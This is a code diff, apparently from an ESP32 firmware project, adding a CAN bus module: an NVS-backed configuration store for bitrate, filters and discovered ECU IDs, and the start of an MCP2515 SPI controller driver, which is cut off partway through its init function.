|
||||
319
espilon_bot/components/mod_canbus/canbus_config.c
Normal file
319
espilon_bot/components/mod_canbus/canbus_config.c
Normal file
@ -0,0 +1,319 @@
|
||||
/*
|
||||
* canbus_config.c
|
||||
* NVS-backed persistent config for CAN bus module.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "canbus_config.h"
|
||||
|
||||
#define TAG "CAN_CFG"
|
||||
#define NVS_NS "can_cfg"
|
||||
|
||||
/* NVS keys */
|
||||
#define KEY_BITRATE "bitrate"
|
||||
#define KEY_OSC_MHZ "osc_mhz"
|
||||
#define KEY_FILTERS "sw_filters"
|
||||
#define KEY_FILTER_CNT "sw_filt_cnt"
|
||||
#define KEY_ECUS "ecus"
|
||||
#define KEY_ECU_CNT "ecu_cnt"
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
|
||||
void can_config_init(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err == ESP_OK) {
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "NVS open failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Bitrate
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_bitrate(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
int32_t val = CONFIG_CANBUS_DEFAULT_BITRATE;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
|
||||
nvs_get_i32(h, KEY_BITRATE, &val);
|
||||
nvs_close(h);
|
||||
}
|
||||
return (int)val;
|
||||
}
|
||||
|
||||
esp_err_t can_config_set_bitrate(int bitrate)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_set_i32(h, KEY_BITRATE, bitrate);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Oscillator
|
||||
* ============================================================ */
|
||||
|
||||
uint8_t can_config_get_osc_mhz(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
uint8_t val = CONFIG_CANBUS_OSC_MHZ;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
|
||||
nvs_get_u8(h, KEY_OSC_MHZ, &val);
|
||||
nvs_close(h);
|
||||
}
|
||||
return val;
|
||||
}
|
||||
|
||||
esp_err_t can_config_set_osc_mhz(uint8_t mhz)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_set_u8(h, KEY_OSC_MHZ, mhz);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Software Filters (stored as blob of uint32_t array)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_filters(uint32_t *ids_out, int max_ids)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
|
||||
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
|
||||
|
||||
if (cnt > max_ids) cnt = max_ids;
|
||||
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids_out, &len);
|
||||
nvs_close(h);
|
||||
return (int)cnt;
|
||||
}
|
||||
|
||||
static esp_err_t save_filters(nvs_handle_t h, const uint32_t *ids, uint8_t cnt)
|
||||
{
|
||||
esp_err_t err = nvs_set_u8(h, KEY_FILTER_CNT, cnt);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
if (cnt > 0) {
|
||||
err = nvs_set_blob(h, KEY_FILTERS, ids, cnt * sizeof(uint32_t));
|
||||
} else {
|
||||
nvs_erase_key(h, KEY_FILTERS);
|
||||
}
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_add_filter(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids, &len);
|
||||
}
|
||||
|
||||
/* Check duplicate */
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
|
||||
}
|
||||
|
||||
if (cnt >= CAN_CFG_MAX_SW_FILTERS) {
|
||||
nvs_close(h);
|
||||
return ESP_ERR_NO_MEM;
|
||||
}
|
||||
|
||||
ids[cnt++] = id;
|
||||
err = save_filters(h, ids, cnt);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_del_filter(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_FILTERS, ids, &len);
|
||||
}
|
||||
|
||||
/* Find and remove */
|
||||
bool found = false;
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) {
|
||||
memmove(&ids[i], &ids[i + 1], (cnt - i - 1) * sizeof(uint32_t));
|
||||
cnt--;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found) {
|
||||
err = save_filters(h, ids, cnt);
|
||||
} else {
|
||||
err = ESP_ERR_NOT_FOUND;
|
||||
}
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_clear_filters(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = save_filters(h, NULL, 0);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ECU IDs (same pattern as filters)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_get_ecus(uint32_t *ids_out, int max_ids)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
|
||||
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
|
||||
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
|
||||
|
||||
if (cnt > max_ids) cnt = max_ids;
|
||||
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_ECUS, ids_out, &len);
|
||||
nvs_close(h);
|
||||
return (int)cnt;
|
||||
}
|
||||
|
||||
esp_err_t can_config_add_ecu(uint32_t id)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
|
||||
uint32_t ids[CAN_CFG_MAX_ECUS] = { 0 };
|
||||
uint8_t cnt = 0;
|
||||
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
|
||||
if (cnt > 0) {
|
||||
size_t len = cnt * sizeof(uint32_t);
|
||||
nvs_get_blob(h, KEY_ECUS, ids, &len);
|
||||
}
|
||||
|
||||
for (int i = 0; i < cnt; i++) {
|
||||
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
|
||||
}
|
||||
|
||||
if (cnt >= CAN_CFG_MAX_ECUS) {
|
||||
nvs_close(h);
|
||||
return ESP_ERR_NO_MEM;
|
||||
}
|
||||
|
||||
ids[cnt++] = id;
|
||||
err = nvs_set_u8(h, KEY_ECU_CNT, cnt);
|
||||
if (err == ESP_OK) err = nvs_set_blob(h, KEY_ECUS, ids, cnt * sizeof(uint32_t));
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
esp_err_t can_config_clear_ecus(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
nvs_set_u8(h, KEY_ECU_CNT, 0);
|
||||
nvs_erase_key(h, KEY_ECUS);
|
||||
err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Reset All
|
||||
* ============================================================ */
|
||||
|
||||
esp_err_t can_config_reset_all(void)
|
||||
{
|
||||
nvs_handle_t h;
|
||||
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
|
||||
if (err != ESP_OK) return err;
|
||||
err = nvs_erase_all(h);
|
||||
if (err == ESP_OK) err = nvs_commit(h);
|
||||
nvs_close(h);
|
||||
ESP_LOGI(TAG, "Config reset to defaults");
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* List (for status responses)
|
||||
* ============================================================ */
|
||||
|
||||
int can_config_list(char *buf, size_t buf_len)
|
||||
{
|
||||
int off = 0;
|
||||
|
||||
off += snprintf(buf + off, buf_len - off,
|
||||
"bitrate=%d\nosc_mhz=%u\n",
|
||||
can_config_get_bitrate(),
|
||||
can_config_get_osc_mhz());
|
||||
|
||||
/* Software filters */
|
||||
uint32_t fids[CAN_CFG_MAX_SW_FILTERS];
|
||||
int fcnt = can_config_get_filters(fids, CAN_CFG_MAX_SW_FILTERS);
|
||||
off += snprintf(buf + off, buf_len - off, "sw_filters=%d:", fcnt);
|
||||
for (int i = 0; i < fcnt && off < (int)buf_len - 8; i++) {
|
||||
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)fids[i]);
|
||||
}
|
||||
off += snprintf(buf + off, buf_len - off, "\n");
|
||||
|
||||
/* Discovered ECUs */
|
||||
uint32_t eids[CAN_CFG_MAX_ECUS];
|
||||
int ecnt = can_config_get_ecus(eids, CAN_CFG_MAX_ECUS);
|
||||
off += snprintf(buf + off, buf_len - off, "ecus=%d:", ecnt);
|
||||
for (int i = 0; i < ecnt && off < (int)buf_len - 8; i++) {
|
||||
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)eids[i]);
|
||||
}
|
||||
off += snprintf(buf + off, buf_len - off, "\n");
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS */
|
||||
42
espilon_bot/components/mod_canbus/canbus_config.h
Normal file
42
espilon_bot/components/mod_canbus/canbus_config.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* canbus_config.h
|
||||
* NVS-backed configuration for CAN bus module.
|
||||
*
|
||||
* Stores: bitrate, oscillator freq, software filters, discovered ECU IDs.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include "esp_err.h"
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define CAN_CFG_MAX_SW_FILTERS 16
|
||||
#define CAN_CFG_MAX_ECUS 16
|
||||
|
||||
/* Init NVS namespace (call once at module registration) */
|
||||
void can_config_init(void);
|
||||
|
||||
/* Bitrate (persistent) */
|
||||
int can_config_get_bitrate(void);
|
||||
esp_err_t can_config_set_bitrate(int bitrate);
|
||||
|
||||
/* Oscillator frequency in MHz (persistent) */
|
||||
uint8_t can_config_get_osc_mhz(void);
|
||||
esp_err_t can_config_set_osc_mhz(uint8_t mhz);
|
||||
|
||||
/* Software filters — app-level ID whitelist (beyond MCP2515 6 HW filters) */
|
||||
int can_config_get_filters(uint32_t *ids_out, int max_ids);
|
||||
esp_err_t can_config_add_filter(uint32_t id);
|
||||
esp_err_t can_config_del_filter(uint32_t id);
|
||||
esp_err_t can_config_clear_filters(void);
|
||||
|
||||
/* Discovered ECU IDs (for UDS, persistent across reboots) */
|
||||
int can_config_get_ecus(uint32_t *ids_out, int max_ids);
|
||||
esp_err_t can_config_add_ecu(uint32_t id);
|
||||
esp_err_t can_config_clear_ecus(void);
|
||||
|
||||
/* Reset all config to defaults */
|
||||
esp_err_t can_config_reset_all(void);
|
||||
|
||||
/* List all config as formatted string (for status response) */
|
||||
int can_config_list(char *buf, size_t buf_len);
|
||||
815
espilon_bot/components/mod_canbus/canbus_driver.c
Normal file
815
espilon_bot/components/mod_canbus/canbus_driver.c
Normal file
@ -0,0 +1,815 @@
|
||||
/*
|
||||
* canbus_driver.c
|
||||
* MCP2515 CAN 2.0B controller driver via ESP-IDF SPI master.
|
||||
*
|
||||
* Architecture:
|
||||
* GPIO ISR (INT pin, active low) → binary semaphore → RX task → callback
|
||||
* TX: direct SPI writes to TX buffer 0, poll for completion.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
|
||||
#include <string.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include "driver/spi_master.h"
|
||||
#include "driver/gpio.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "canbus_driver.h"
|
||||
|
||||
#define TAG "CAN_DRV"
|
||||
|
||||
/* ============================================================
|
||||
* MCP2515 SPI Instructions
|
||||
* ============================================================ */
|
||||
#define MCP_RESET 0xC0
|
||||
#define MCP_READ 0x03
|
||||
#define MCP_WRITE 0x02
|
||||
#define MCP_BIT_MODIFY 0x05
|
||||
#define MCP_READ_STATUS 0xA0
|
||||
#define MCP_RX_STATUS 0xB0
|
||||
#define MCP_READ_RX0 0x90 /* Read RX buffer 0 starting at SIDH */
|
||||
#define MCP_READ_RX1 0x94 /* Read RX buffer 1 starting at SIDH */
|
||||
#define MCP_LOAD_TX0 0x40 /* Load TX buffer 0 starting at SIDH */
|
||||
#define MCP_RTS_TX0 0x81 /* Request-To-Send TX buffer 0 */
|
||||
|
||||
/* ============================================================
|
||||
* MCP2515 Registers
|
||||
* ============================================================ */
|
||||
#define MCP_CANCTRL 0x0F
|
||||
#define MCP_CANSTAT 0x0E
|
||||
#define MCP_CNF1 0x2A
|
||||
#define MCP_CNF2 0x29
|
||||
#define MCP_CNF3 0x28
|
||||
#define MCP_CANINTE 0x2B
|
||||
#define MCP_CANINTF 0x2C
|
||||
#define MCP_EFLG 0x2D
|
||||
#define MCP_TEC 0x1C
|
||||
#define MCP_REC 0x1D
|
||||
|
||||
/* RXB0CTRL / RXB1CTRL */
|
||||
#define MCP_RXB0CTRL 0x60
|
||||
#define MCP_RXB1CTRL 0x70
|
||||
|
||||
/* Filter/mask registers */
|
||||
#define MCP_RXF0SIDH 0x00
|
||||
#define MCP_RXF1SIDH 0x04
|
||||
#define MCP_RXF2SIDH 0x08
|
||||
#define MCP_RXF3SIDH 0x10
|
||||
#define MCP_RXF4SIDH 0x14
|
||||
#define MCP_RXF5SIDH 0x18
|
||||
#define MCP_RXM0SIDH 0x20
|
||||
#define MCP_RXM1SIDH 0x24
|
||||
|
||||
/* TXB0 registers */
|
||||
#define MCP_TXB0CTRL 0x30
|
||||
#define MCP_TXB0SIDH 0x31
|
||||
|
||||
/* CANCTRL mode bits */
|
||||
#define MCP_MODE_NORMAL 0x00
|
||||
#define MCP_MODE_LISTEN 0x60
|
||||
#define MCP_MODE_LOOPBACK 0x40
|
||||
#define MCP_MODE_CONFIG 0x80
|
||||
|
||||
/* CANINTF bits */
|
||||
#define MCP_RX0IF 0x01
|
||||
#define MCP_RX1IF 0x02
|
||||
#define MCP_TX0IF 0x04
|
||||
#define MCP_TX1IF 0x08
|
||||
#define MCP_TX2IF 0x10
|
||||
#define MCP_ERRIF 0x20
|
||||
#define MCP_WAKIF 0x40
|
||||
#define MCP_MERRF 0x80
|
||||
|
||||
/* CANINTE bits */
|
||||
#define MCP_RX0IE 0x01
|
||||
#define MCP_RX1IE 0x02
|
||||
#define MCP_ERRIE 0x20
|
||||
|
||||
/* EFLG bits */
|
||||
#define MCP_EFLG_RX0OVR 0x40
|
||||
#define MCP_EFLG_RX1OVR 0x80
|
||||
#define MCP_EFLG_TXBO 0x20
|
||||
#define MCP_EFLG_RXEP 0x10
|
||||
#define MCP_EFLG_TXEP 0x08
|
||||
|
||||
/* ============================================================
|
||||
* Bit Timing Tables
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
int bitrate;
|
||||
uint8_t cnf1, cnf2, cnf3;
|
||||
} can_timing_t;
|
||||
|
||||
/* 16 MHz oscillator — TQ = 2/Fosc = 125ns */
|
||||
static const can_timing_t s_timing_16mhz[] = {
|
||||
{ 1000000, 0x00, 0xCA, 0x01 }, /* 1 Mbps: SJW=1, BRP=0, 8 TQ */
|
||||
{ 500000, 0x00, 0xF0, 0x86 }, /* 500 kbps: SJW=1, BRP=0, 16 TQ */
|
||||
{ 250000, 0x01, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=1, 16 TQ */
|
||||
{ 125000, 0x03, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=3, 16 TQ */
|
||||
{ 100000, 0x04, 0xF0, 0x86 }, /* 100 kbps: SJW=1, BRP=4, 16 TQ */
|
||||
{ 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* 8 MHz oscillator — TQ = 2/Fosc = 250ns */
|
||||
static const can_timing_t s_timing_8mhz[] = {
|
||||
{ 500000, 0x00, 0x90, 0x02 }, /* 500 kbps: SJW=1, BRP=0, 8 TQ */
|
||||
{ 250000, 0x00, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=0, 16 TQ */
|
||||
{ 125000, 0x01, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=1, 16 TQ */
|
||||
{ 100000, 0x03, 0xAC, 0x03 }, /* 100 kbps: SJW=1, BRP=3, 10 TQ */
|
||||
{ 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Driver State
|
||||
* ============================================================ */
|
||||
static spi_device_handle_t s_spi = NULL;
|
||||
static TaskHandle_t s_rx_task = NULL;
|
||||
static SemaphoreHandle_t s_int_sem = NULL;
|
||||
static SemaphoreHandle_t s_tx_mutex = NULL;
|
||||
static volatile bool s_running = false;
|
||||
|
||||
static can_rx_callback_t s_rx_cb = NULL;
|
||||
static void *s_rx_ctx = NULL;
|
||||
|
||||
/* Counters */
|
||||
static uint32_t s_rx_count = 0;
|
||||
static uint32_t s_tx_count = 0;
|
||||
static uint32_t s_bus_errors = 0;
|
||||
static uint32_t s_rx_overflow = 0;
|
||||
static bool s_bus_off = false;
|
||||
static bool s_err_passive = false;
|
||||
|
||||
/* ============================================================
|
||||
* SPI Low-Level Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t mcp_read_reg(uint8_t addr)
|
||||
{
|
||||
uint8_t tx[3] = { MCP_READ, addr, 0x00 };
|
||||
uint8_t rx[3] = { 0 };
|
||||
spi_transaction_t t = {
|
||||
.length = 24,
|
||||
.tx_buffer = tx,
|
||||
.rx_buffer = rx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
return rx[2];
|
||||
}
|
||||
|
||||
static void mcp_write_reg(uint8_t addr, uint8_t val)
|
||||
{
|
||||
uint8_t tx[3] = { MCP_WRITE, addr, val };
|
||||
spi_transaction_t t = {
|
||||
.length = 24,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
}
|
||||
|
||||
static void mcp_modify_reg(uint8_t addr, uint8_t mask, uint8_t val)
|
||||
{
|
||||
uint8_t tx[4] = { MCP_BIT_MODIFY, addr, mask, val };
|
||||
spi_transaction_t t = {
|
||||
.length = 32,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
}
|
||||
|
||||
static void mcp_reset(void)
|
||||
{
|
||||
uint8_t tx[1] = { MCP_RESET };
|
||||
spi_transaction_t t = {
|
||||
.length = 8,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
vTaskDelay(pdMS_TO_TICKS(10)); /* MCP2515 needs time after reset */
|
||||
}
|
||||
|
||||
static void mcp_set_mode(uint8_t mode)
|
||||
{
|
||||
mcp_modify_reg(MCP_CANCTRL, 0xE0, mode);
|
||||
/* Wait for mode change confirmation */
|
||||
for (int i = 0; i < 50; i++) {
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) == mode) return;
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
ESP_LOGW(TAG, "Mode change to 0x%02X timeout", mode);
|
||||
}
|
||||
|
||||
/* Read a complete frame from RX buffer (0 or 1) */
|
||||
static void mcp_read_rx_buffer(int buf, can_frame_t *frame)
|
||||
{
|
||||
/* Use READ_RX instruction for auto-clear of interrupt flag */
|
||||
uint8_t cmd = (buf == 0) ? MCP_READ_RX0 : MCP_READ_RX1;
|
||||
|
||||
/* Read: cmd + SIDH + SIDL + EID8 + EID0 + DLC + 8 data = 14 bytes */
|
||||
uint8_t tx[14] = { 0 };
|
||||
uint8_t rx[14] = { 0 };
|
||||
tx[0] = cmd;
|
||||
|
||||
spi_transaction_t t = {
|
||||
.length = 14 * 8,
|
||||
.tx_buffer = tx,
|
||||
.rx_buffer = rx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
|
||||
/* Parse — offsets relative to rx[1] (SIDH is byte 1) */
|
||||
uint8_t sidh = rx[1];
|
||||
uint8_t sidl = rx[2];
|
||||
uint8_t eid8 = rx[3];
|
||||
uint8_t eid0 = rx[4];
|
||||
uint8_t dlc = rx[5];
|
||||
|
||||
frame->extended = (sidl & 0x08) != 0;
|
||||
frame->rtr = false;
|
||||
|
||||
if (frame->extended) {
|
||||
frame->id = ((uint32_t)sidh << 21)
|
||||
| ((uint32_t)(sidl & 0xE0) << 13)
|
||||
| ((uint32_t)(sidl & 0x03) << 16)
|
||||
| ((uint32_t)eid8 << 8)
|
||||
| (uint32_t)eid0;
|
||||
frame->rtr = (dlc & 0x40) != 0;
|
||||
} else {
|
||||
frame->id = ((uint32_t)sidh << 3) | ((uint32_t)(sidl >> 5) & 0x07);
|
||||
frame->rtr = (sidl & 0x10) != 0;
|
||||
}
|
||||
|
||||
frame->dlc = dlc & 0x0F;
|
||||
if (frame->dlc > 8) frame->dlc = 8;
|
||||
|
||||
memcpy(frame->data, &rx[6], 8);
|
||||
frame->timestamp_us = 0; /* Caller sets timestamp */
|
||||
}
|
||||
|
||||
/* Write a frame to TX buffer 0 and request send */
|
||||
static bool mcp_write_tx_buffer(const can_frame_t *frame)
|
||||
{
|
||||
/* Check if TX buffer 0 is free */
|
||||
uint8_t ctrl = mcp_read_reg(MCP_TXB0CTRL);
|
||||
if (ctrl & 0x08) {
|
||||
/* TXREQ still set — previous TX pending */
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build TX buffer content: SIDH + SIDL + EID8 + EID0 + DLC + data */
|
||||
uint8_t tx[14] = { 0 };
|
||||
tx[0] = MCP_LOAD_TX0;
|
||||
|
||||
if (frame->extended) {
|
||||
tx[1] = (uint8_t)(frame->id >> 21); /* SIDH */
|
||||
tx[2] = (uint8_t)((frame->id >> 13) & 0xE0) /* SIDL high bits */
|
||||
| 0x08 /* EXIDE = 1 */
|
||||
| (uint8_t)((frame->id >> 16) & 0x03); /* SIDL low bits */
|
||||
tx[3] = (uint8_t)(frame->id >> 8); /* EID8 */
|
||||
tx[4] = (uint8_t)(frame->id); /* EID0 */
|
||||
tx[5] = frame->dlc | (frame->rtr ? 0x40 : 0x00); /* DLC + RTR */
|
||||
} else {
|
||||
tx[1] = (uint8_t)(frame->id >> 3); /* SIDH */
|
||||
tx[2] = (uint8_t)((frame->id & 0x07) << 5) /* SIDL */
|
||||
| (frame->rtr ? 0x10 : 0x00);
|
||||
tx[3] = 0;
|
||||
tx[4] = 0;
|
||||
tx[5] = frame->dlc;
|
||||
}
|
||||
|
||||
memcpy(&tx[6], frame->data, 8);
|
||||
|
||||
spi_transaction_t t = {
|
||||
.length = 14 * 8,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
|
||||
/* Request to send */
|
||||
uint8_t rts = MCP_RTS_TX0;
|
||||
spi_transaction_t rts_t = {
|
||||
.length = 8,
|
||||
.tx_buffer = &rts,
|
||||
};
|
||||
spi_device_transmit(s_spi, &rts_t);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* GPIO ISR — INT pin (active low)
|
||||
* ============================================================ */
|
||||
|
||||
static void IRAM_ATTR gpio_isr_handler(void *arg)
|
||||
{
|
||||
BaseType_t woken = pdFALSE;
|
||||
xSemaphoreGiveFromISR(s_int_sem, &woken);
|
||||
if (woken) portYIELD_FROM_ISR();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX Task
|
||||
* ============================================================ */
|
||||
|
||||
static void rx_task(void *arg)
|
||||
{
|
||||
ESP_LOGI(TAG, "RX task started");
|
||||
|
||||
while (s_running) {
|
||||
/* Wait for interrupt or timeout (poll every 100ms as fallback) */
|
||||
if (xSemaphoreTake(s_int_sem, pdMS_TO_TICKS(100)) != pdTRUE) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Read interrupt flags */
|
||||
uint8_t intf = mcp_read_reg(MCP_CANINTF);
|
||||
|
||||
/* RX buffer 0 full */
|
||||
if (intf & MCP_RX0IF) {
|
||||
can_frame_t frame;
|
||||
mcp_read_rx_buffer(0, &frame); /* READ_RX auto-clears RX0IF */
|
||||
frame.timestamp_us = esp_timer_get_time();
|
||||
s_rx_count++;
|
||||
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
|
||||
}
|
||||
|
||||
/* RX buffer 1 full */
|
||||
if (intf & MCP_RX1IF) {
|
||||
can_frame_t frame;
|
||||
mcp_read_rx_buffer(1, &frame); /* READ_RX auto-clears RX1IF */
|
||||
frame.timestamp_us = esp_timer_get_time();
|
||||
s_rx_count++;
|
||||
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
|
||||
}
|
||||
|
||||
/* Error interrupt */
|
||||
if (intf & MCP_ERRIF) {
|
||||
uint8_t eflg = mcp_read_reg(MCP_EFLG);
|
||||
s_bus_errors++;
|
||||
|
||||
if (eflg & MCP_EFLG_TXBO) {
|
||||
s_bus_off = true;
|
||||
ESP_LOGW(TAG, "Bus-off detected");
|
||||
}
|
||||
if (eflg & (MCP_EFLG_RXEP | MCP_EFLG_TXEP)) {
|
||||
s_err_passive = true;
|
||||
}
|
||||
if (eflg & (MCP_EFLG_RX0OVR | MCP_EFLG_RX1OVR)) {
|
||||
s_rx_overflow++;
|
||||
}
|
||||
|
||||
/* Clear error flags */
|
||||
mcp_modify_reg(MCP_EFLG, 0xFF, 0x00);
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_ERRIF, 0x00);
|
||||
}
|
||||
|
||||
/* TX complete — clear flags */
|
||||
if (intf & (MCP_TX0IF | MCP_TX1IF | MCP_TX2IF)) {
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF | MCP_TX1IF | MCP_TX2IF, 0x00);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "RX task stopped");
|
||||
s_rx_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Lifecycle
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_init(int bitrate, uint8_t osc_mhz)
|
||||
{
|
||||
if (s_spi) {
|
||||
ESP_LOGW(TAG, "Already initialized");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Select timing table */
|
||||
const can_timing_t *table = NULL;
|
||||
if (osc_mhz == 16) {
|
||||
table = s_timing_16mhz;
|
||||
} else if (osc_mhz == 8) {
|
||||
table = s_timing_8mhz;
|
||||
} else {
|
||||
ESP_LOGE(TAG, "Unsupported oscillator: %u MHz", osc_mhz);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Find matching bitrate */
|
||||
const can_timing_t *timing = NULL;
|
||||
for (int i = 0; table[i].bitrate != 0; i++) {
|
||||
if (table[i].bitrate == bitrate) {
|
||||
timing = &table[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!timing) {
|
||||
ESP_LOGE(TAG, "Unsupported bitrate %d for %u MHz osc", bitrate, osc_mhz);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Init SPI bus */
|
||||
spi_bus_config_t bus_cfg = {
|
||||
